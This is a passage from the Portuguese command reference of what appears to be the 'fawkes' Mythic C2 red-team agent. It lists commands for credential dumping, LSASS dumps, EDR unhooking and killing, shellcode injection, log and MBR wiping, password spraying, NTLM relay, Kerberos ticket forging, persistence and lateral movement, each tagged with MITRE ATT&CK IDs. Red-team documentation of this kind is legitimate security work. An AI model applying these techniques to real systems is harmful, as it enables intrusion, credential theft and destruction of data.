laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Ler senhas LAPS do AD via LDAP. Suporta LAPS v1 (ms-Mcs-AdmPwd) e Windows LAPS v2 (ms-LAPS-Password). Multiplataforma (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Apenas Windows)** Extrair segredos LSA (senhas de serviço, chaves DPAPI, conta de máquina) e credenciais de domínio em cache (formato hashcat DCC2/MSCacheV2). Requer SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Apenas macOS)** Instalar, remover ou listar persistência LaunchAgent/LaunchDaemon. Cria plist com RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Vincular a um agente P2P via TCP ou named pipe para pivoting interno. Modo named pipe usa porta SMB 445 para tráfego Windows mais furtivo. TCP multiplataforma, named pipe apenas Windows (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Criar links simbólicos ou físicos. Links simbólicos podem apontar para caminhos inexistentes. Modo force substitui link existente. Multiplataforma (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Apenas Linux)** Listar, ler, limpar ou adulterar arquivos de log do Linux e registros binários de login (wtmp/btmp/utmp). Suporta remoção seletiva de linhas e fragmentação segura (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Enumerar sessões de logon ativas — usuários, IDs de sessão, estações, estado da conexão. Filtrar por nome de usuário. Windows: API WTS. Linux: análise utmp. macOS: análise utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Execução proxy LOLBin/GTFOBin. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multiplataforma: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Listar arquivos e pastas com proprietário/grupo e carimbos de data/hora. Integração com navegador de arquivos. Padrão para diretório de trabalho atual.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Apenas Windows)** Criar um token a partir de credenciais: personificar, gerar um processo, ou **auto-verify** (personificar e depois cadeia whoami + getprivs) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Mascaramento e ocultação de arquivos — disfarçar arquivos (dupla extensão, RtLO, espaço, correspondência de processo) ou ocultar da enumeração (ocultar/revelar). Windows: atributos +H/+S. Linux: prefixo dot. macOS: UF_HIDDEN + prefixo dot (T1036, T1564.001).
mkdir | `mkdir <directory>` | Criar um novo diretório (cria diretórios pai se necessário).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Apenas Windows)** Injetar shellcode sobrepondo a seção .text de uma DLL legítima. Shellcode executa a partir do espaço de endereço de DLL assinada, ignorando detecção de memória privada (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Listar módulos/DLLs/bibliotecas carregados em um processo com filtragem opcional por nome. Multiplataforma (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Pesquisar memória de processo por padrões de byte com saída de dump hex. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (apenas autovarrição). Suporta padrões string e hex. Multiplataforma (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Listar sistemas de arquivos montados com dispositivo, ponto de montagem, tipo e opções. Suporta filtragem por nome ou tipo de sistema de arquivos. Multiplataforma (T1082).
mv | `mv <source> <destination>` | Mover ou renomear um arquivo da origem para o destino.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Listar named pipes (Windows), Unix domain sockets e FIFOs (Linux/macOS) para descoberta de IPC. Suporta filtragem por substring (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Enumeração de rede multiplataforma. Usuários, grupos, membros de grupo, administradores, sessões, compartilhamentos. Windows: Win32 NetAPI (consultas de domínio, unidades mapeadas). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Enumerar associações a grupos AD via LDAP. Resolução recursiva de membros, consulta de grupos de usuário, enumeração de grupos privilegiados. Multiplataforma (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gerenciar contas de usuário local e associação a grupos. Windows: API netapi32. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Desabilitar/habilitar/bloquear para simulação de ransomware T1531. Multiplataforma (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Listar conexões de rede ativas e portas de escuta com protocolo, estado, PID e nome do processo. Suporta filtragem por estado, protocolo, porta e ID do processo. Multiplataforma.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Apenas Windows)** Remover hooks inline de EDR de DLLs restaurando a seção .text a partir de uma cópia limpa. Suporta 5 DLLs ou `all`. `check` relata hooks sem modificação. Fonte `knowndlls` usa objetos de seção \\KnownDlls\\ (evita E/S de disco — mais amigável ao OPSEC) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Apenas Windows)** Resolvedor de syscall indireto. Analisa exportações de ntdll para resolver números de syscall Nt* e gera stubs que pulam para o gadget syscall;ret do ntdll. Quando ativo, comandos de injeção ignoram hooks de API no espaço do usuário (T1106).
opus-injection | `opus-injection` | **(Apenas Windows)** Injeção de processo baseada em callback. Variante 1: Cadeia de manipulador Ctrl-C. Variante 4: PEB KernelCallbackTable. [Detalhes](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Instalar ou remover persistência. Windows: registro, pasta de inicialização, com-hijack, protetor de tela, ifeo, winlogon, processador de impressão, acessibilidade, active-setup, provedor de tempo, monitor de porta, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Todos os métodos suportam instalar/remover/listar.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Enumeração somente leitura de mecanismos de persistência. Windows: registro, inicialização, tarefas, serviços. Linux: cron, systemd, perfis de shell, chaves SSH, LD_PRELOAD, regras udev, módulos do kernel, motd, jobs at, serviços D-Bus, módulos PAM, hooks de pacote, scripts logrotate, NetworkManager dispatcher, anacron. macOS: LaunchAgents, itens de login, scripts periódicos, plugins de autenticação, emond, jobs at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Descobrir bancos de dados e arquivos de configuração de gerenciadores de senha — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multiplataforma (T1555).
poolparty-injection | `poolparty-injection` | **(Apenas Windows)** Injetar shellcode usando técnicas PoolParty que abusam de internas do Thread Pool do Windows. Todas as 8 variantes suportadas. [Detalhes](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` ou `ping -action exfil-icmp -target <IP> -file <path>` | Conectividade de host via TCP connect (T1018) + exfiltração de dados ICMP via payloads de solicitação de eco com codificação XOR e jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Apenas Windows)** Personificação de named pipe para escalonamento de privilégio. Criar servidor pipe, aguardar conexão de cliente privilegiado, personificar token. Requer SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Apenas Windows)** Escalonamento de privilégio PrintSpoofer — SeImpersonate para SYSTEM via Print Spooler. Cria named pipe, aciona conexão do spooler via OpenPrinterW, personifica token SYSTEM. Um passo NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Listar pacotes e software instalados. Enumera dpkg/rpm/apk (Linux), Homebrew/Applications (macOS) ou chaves de desinstalação do registro (Windows). Suporta filtragem por nome. Multiplataforma (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Varredura TCP connect para descoberta de serviços de rede. Suporta CIDR, faixas de IP e faixas de porta. Multiplataforma.
powershell | `powershell <command> [--encoded]` | **(Apenas Windows)** Executar um comando PowerShell via powershell.exe com flags endurecidas para OPSEC (abreviadas, randomizadas). Suporta modo de comando codificado para ocultar argumentos da árvore de processo.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Apenas Windows)** Analisar e gerenciar arquivos Prefetch do Windows. Listar programas executados, analisar histórico de execução (até 8 carimbos de data/hora), excluir entradas específicas ou limpar tudo. Suporta arquivos comprimidos MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Enumeração e exploração de escalonamento de privilégio. `auto-escalate`: cadeia de subtarefas automatizada — enumera todos os vetores e tenta o melhor escalonamento disponível (bypass de UAC, roubo de token ou sudo). `hijack-execute`: fábrica automatizada de DLL proxy — lê exportações da DLL alvo, servidor compila DLL proxy com shellcode embutido (mingw). `hijack-deploy`: implanta DLL proxy (renomeia original, coloca proxy). `hijack-trigger`: aciona o hijack — reinicia um serviço (`-trigger restart -service_name <svc>`) ou gera um processo (`-trigger spawn -source <exe>`) para carregar a DLL proxy. `hijack-cleanup`: reverte um hijack implantado (exclui proxy, restaura original). Windows: privilégios de token, serviços não cotados, AlwaysInstallElevated, autologon, UAC, arquivos unattend, varredura de DLL hijack (DLLs fantasmas, PATH gravável, KnownDLLs), plantio de DLL com timestomp, sideloading de DLL, enumeração de exportações PE (dll-exports com geração de arquivo DEF), abuso de permissão de registro de serviço. Linux: SUID/SGID, capacidades, sudo, contêineres, sequestro de cron, NFS no_root_squash, unidades systemd, tokens sudo, sequestro de PATH, grupo docker, grupos perigosos, regras Polkit, hooks modprobe, injeção ld.so.preload, módulos de segurança (AppArmor/SELinux). macOS: LaunchDaemons, TCC, sequestro de dylib, SIP. Multiplataforma (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` ou `psexec -action check -host <target>` | **(Apenas Windows)** Executar comandos em hosts remotos via criação de serviço SCM — movimento lateral estilo PSExec. `check` valida pré-requisitos (SMB 445, acesso SCM, compartilhamentos admin) sem executar. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Apenas Linux)** Inspeção profunda de /proc: detalhes do processo (cmdline, env, caps, cgroups, namespaces, FDs), conexões de rede com resolução de PID, montagens, módulos do kernel. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Apenas Windows)** Consultar ou definir políticas de mitigação de processo (DEP, ASLR, CIG, ACG, CFG). Definir CIG para bloquear carregamento de DLL não assinada (defesa contra EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Exibir hierarquia de processos como árvore com relações pai-filho. Ajuda a identificar alvos de injeção e ferramentas de segurança. Multiplataforma (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Despejar memória de processo. Windows: MiniDumpWriteDump com descoberta automática de LSASS. Linux: despejo de região /proc/pid/mem. Ação search encontra processos que contêm credenciais. Envia para Mythic e limpa do disco. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Detectar configurações de proxy a partir de variáveis de ambiente, configuração do SO (registro, arquivos de configuração) e transporte Go. Teste de conectividade opcional. Multiplataforma (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Listar processos em execução com integração com navegador de processos do Mythic. Filtrar por nome, PID, PID pai ou nome de usuário. Multiplataforma.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Apenas Linux, amd64/arm64)** Injeção de processo via ptrace — PTRACE_ATTACH/POKETEXT/SETREGS com restauração de registrador e código. Pré-verificação de ptrace_scope Yama com orientação acionável. Modo check relata ptrace_scope, capacidades e candidatos (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Iniciar uma sessão interativa de shell PTY via tarefa interativa do Mythic. Emulação completa de terminal com E/S bidirecional (T1059).
pwd | `pwd` | Exibir diretório de trabalho atual.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Apenas Windows)** Ler bytes do endereço de uma função DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Apenas Windows)** Operações unificadas de registro — ler, escrever, excluir, pesquisar e salvar hives (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Ler/escrever registro em hosts Windows remotos via WinReg RPC sobre named pipes SMB. Suporta pass-the-hash. Multiplataforma (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gerenciar serviços em hosts Windows remotos via SVCCTL RPC. Operações padrão + movimento lateral avançado: modify-path (sequestrar binpath de serviço existente), trigger (criar serviço acionado por trigger), dll-sideload (sequestro de registro ServiceDll). Pass-the-hash. Multiplataforma (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Apenas Windows)** Reverter ao contexto de segurança original, descartando qualquer token de personificação ativo.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Exibir tabela de roteamento do sistema com filtragem opcional. Windows: API GetIpForwardTable, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Multiplataforma (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Encaminhamento de porta: reverso (Mythic roteia para o alvo) ou direto (agente retransmite para alvo interno). Multiplataforma (T1090).
rm | `rm [-path <path>] [-secure true]` | Remover um arquivo ou diretório. `-secure true` sobrescreve com dados aleatórios (3 passagens) antes da exclusão, evitando recuperação forense (T1070.004).
run | `run <command>` | Executar um comando de shell e retornar a saída.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Executar um comando como outro usuário. Windows: CreateProcessWithLogonW (suporta /netonly). Linux/macOS: setuid como root, ou sudo -S com senha. Multiplataforma (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gerenciar tarefas agendadas. Windows: API COM Task Scheduler. Linux: crontab, timers systemd, jobs at. macOS: LaunchAgents/LaunchDaemons, crontab, at. Multiplataforma (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Capturar uma única captura de tela ou gravar capturas contínuas em intervalos. Envia como PNG. Modo record: intervalo/duração/max_frames configuráveis, parável via jobkill. Windows: GDI. macOS: screencapture. Linux: detecção automática X11/Wayland. Multiplataforma (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Pesquisar arquivos em busca de segredos, chaves de API, chaves privadas, strings de conexão e padrões sensíveis. 42 padrões regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, etc.) com ocultação de valor. Caminhada de diretório com limite de profundidade, pula diretórios ruidosos. Multiplataforma (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Excluir arquivos, limpar dados ou destruir registros de inicialização de forma segura. `delete`: sobrescrita aleatória + remoção. `wipe`: destruição agressiva com padrões (T1485). `wipe-mbr`: sobrescrever registro de inicialização MBR/GPT em dispositivo de disco bruto (T1561). Portão de segurança necessário. Multiplataforma (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Relatar postura de segurança e controles ativos, detectar produtos EDR/XDR (20+ fornecedores), enumerar drivers minifilter com classificação EDR, ou listar drivers de kernel carregados com análise de EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multiplataforma (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Farejamento de rede, envenenamento e relay NTLM. `capture`: extração passiva de credenciais (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: responder ativo com captura de hash SMB+HTTP — hashes NTLMv2 no modo hashcat 5600. `relay`: relay NTLM para SMB alvo. `ldap-relay`: relay NTLM para LDAP alvo com operações pós-autenticação (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Percorrer compartilhamentos SMB em vários hosts em busca de arquivos sensíveis — credenciais, configurações, scripts. Pesquisa recursiva de diretório com suporte pass-the-hash. Multiplataforma (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Operações de arquivo SMB2 em compartilhamentos remotos — listar, navegar, ler/escrever/excluir, push para transferência lateral de ferramentas, exfil para exfiltração de dados, taint para plantar arquivos. **share-perms**: testar acesso de leitura/gravação em todos os compartilhamentos. **share-spider**: listagem recursiva de diretório com filtros de profundidade/extensão. **share-search**: encontrar arquivos sensíveis em compartilhamentos usando padrões internos ou personalizados. Autenticação NTLM + pass-the-hash. Multiplataforma (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gerenciar serviços + segmentação EDR/AV. `edr-enum`: detectar serviços de segurança instalados (60+ assinaturas). `edr-kill`: parar+desabilitar EDR detectado (portão de segurança necessário). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Definir ou remover variáveis de ambiente no processo agente. Multiplataforma.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Ler histórico de shell, listar/ler/injetar/remover/limpar arquivos de configuração de shell. Linux/macOS: bashrc/zshrc. Windows: perfis PowerShell + histórico PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` ou `sleep -interval 60 -jitter 30 -jitter_profile normal` | Definir intervalo de callback, jitter, horário de trabalho e perfil de distribuição de jitter (uniforme/normal/exponencial). Distribuição normal agrupa perto do intervalo; exponencial imita padrões humanos irregulares.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Iniciar, parar, ver estatísticas ou definir largura de banda para proxy SOCKS5. Suporta relay TCP CONNECT e UDP ASSOCIATE (RFC 1928) para ferramentas DNS/UDP através do proxy. Limitação opcional de largura de banda por conexão em KB/s. Stats mostra conexões ativas, bytes TX/RX, histórico recente.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Ordenar linhas de um arquivo. Suporta modos alfabético, numérico, reverso e único. Multiplataforma (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Apenas Windows)** Gerar um processo ou thread suspenso para injeção. Suporta falsificação de PPID (T1134.004) e bloqueio de DLL não Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Pulverização de senha contra AD via pré-autenticação Kerberos, bind LDAP ou autenticação SMB. SMB suporta pass-the-hash. Ciente de bloqueio com atraso/jitter configuráveis. Multiplataforma (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Executar comandos, enviar arquivos ou criar túneis SSH. `check` valida pré-requisitos SSH (porta, autenticação, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multiplataforma (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Apenas Linux/macOS)** Enumerar sockets do agente SSH e listar chaves carregadas. Descobre SSH_AUTH_SOCK, varre /tmp/ssh-*, /run/user/*, GNOME keyring. Relata impressões digitais das chaves para o cofre de credenciais (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gerenciamento de chaves SSH e automação de movimento lateral. Ler/injetar authorized_keys, ler chaves privadas, gerar pares de chaves, enumerar configuração SSH. Movimento lateral: find-reachable (varredura de sub-rede), try-keys (testar chaves), auto-move (cadeia scan→auth→exec). Windows: sessões/registro PuTTY, chaves .ppk, WSL, OpenSSH, configuração SSH Git. Multiplataforma (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Exibir metadados de arquivo/diretório: tipo, tamanho, permissões, carimbos de data/hora. Detalhes específicos da plataforma — inode/proprietário (Linux/macOS), atributos de arquivo (Windows). Ciente de link simbólico via Lstat. Multiplataforma (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Extrair strings ASCII imprimíveis de arquivos. Encontrar texto embutido, URLs, credenciais em binários. Filtro de padrão, controle de comprimento mínimo, deslocamento/tamanho máximo. Multiplataforma (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Apenas Windows)** Inicializar CLR v4 ou executar assemblies .NET. Ação `execute-assembly` aplica patch automático em AMSI+ETW e executa assembly em uma etapa (como execute-assembly do CS). Modo manual com -amsi_patch/-etw_patch para controle fino.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Apenas Linux)** Instalar, remover ou listar persistência de serviço/timer systemd. Escopo de usuário ou sistema. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Apenas Windows)** Roubar um token de outro processo: personificá-lo ou gerar um processo com ele (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Apenas Windows)** Cofre de tokens nomeados — salvar, listar, restaurar, remover e visualizar histórico de transições de identidade. Permite alternância rápida entre identidades roubadas/criadas sem precisar roubar novamente (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Suspender ou retomar um processo. Pausa tática de EDR/AV durante operações sensíveis. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Multiplataforma (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Informações abrangentes do sistema: versão do SO, hardware, memória, tempo de atividade, domínio, .NET (Windows), status SELinux/SIP. `full-profile` executa cadeia automatizada de criação de perfil do host em 5 etapas (sysinfo → ps → security-info → privesc-check → persist-enum). Multiplataforma (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Apenas Windows)** Detecta instalação do Sysmon e extrai configuração — status do serviço/driver, algoritmo de hash, flags de opções, tamanho dos dados de regra, canais de evento. Detecta instalações renomeadas via altitude do minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Imprimir linhas do arquivo em ordem reversa. Útil para visualizar logs do mais novo ao mais antigo. Multiplataforma (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Ler primeiras ou últimas N linhas/bytes de um arquivo sem transferir o conteúdo inteiro. Buffer circular para tail eficiente, busca reversa para arquivos grandes. Multiplataforma (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Apenas macOS)** Enumerar permissões TCC (Transparency, Consent, and Control). Descobrir quais aplicativos têm permissão para câmera, microfone, gravação de tela, acesso total ao disco. Agrupa por serviço com resumo de permitidos (T1082).
touch | `touch -path <file> [-mkdir true]` | Criar um arquivo vazio ou atualizar carimbos de data/hora de arquivo existente. Criação opcional de diretório pai. Multiplataforma (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Injetar shellcode via sequestro de execução de thread — suspender thread existente, redirecionar PC/RIP para shellcode, retomar. macOS usa APIs Mach (task_for_pid + thread_get/set_state), requer root (T1055.003).
threadless-inject | `threadless-inject` | **(Apenas Windows)** Injetar shellcode usando injeção sem thread, hookando uma função DLL em um processo remoto. Mais furtivo que injeção comum, pois não cria novas threads.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Forjar, solicitar, renovar, delegar ou autenticar com certificado tickets Kerberos. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: troca AS real + modificação de ticket para evasão. Renew: estender vida útil do TGT. S4U: delegação restrita via S4U2Self+S4U2Proxy. PKINIT: autenticação baseada em certificado de ADCS/Shadow Creds. Multiplataforma (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Transliterar, espremer ou excluir caracteres no conteúdo do arquivo. Suporta classes de caracteres e faixas. Multiplataforma (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Encontrar arquivos de alto valor para exfiltração — documentos, credenciais, configurações, bancos de dados (.db/.sqlite), scripts (.py/.sh/.ps1), arquivos (.zip/.tar/.7z), arquivos de email (.pst/.eml/.mbox), arquivos modificados recentemente ou varredura de caminho personalizada. **recon-chain**: cadeia de subtarefas automatizada — portscan → enumeração de compartilhamento SMB → share hunt → triagem local (requer alvo, nome de usuário/senha). Multiplataforma (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Enumerar relações de confiança de domínio/floresta via LDAP com topologia de floresta, análise de transitividade, força de criptografia e identificação de caminho de ataque. Multiplataforma (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modificar carimbos de data/hora de arquivos para se misturar ao ambiente. Obter, copiar de outro arquivo, definir horário específico, corresponder a vizinhos de diretório (IQR) ou aleatório dentro de faixa. `clean-prefetch` exclui arquivos Prefetch do Windows para um executável nomeado. Windows também modifica horário de criação.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Apenas Windows)** Gerenciamento de sessão RDP — listar, sequestrar, desconectar ou encerrar sessões. Assunção de sessão sem credenciais (T1563.002).
ts | `ts [-a] [-i PID]` | **(Apenas Windows)** Listar threads em processos. Por padrão, mostra apenas threads alertáveis (Suspended/DelayExecution). Use -a para todas as threads, -i para filtrar por PID (T1057).
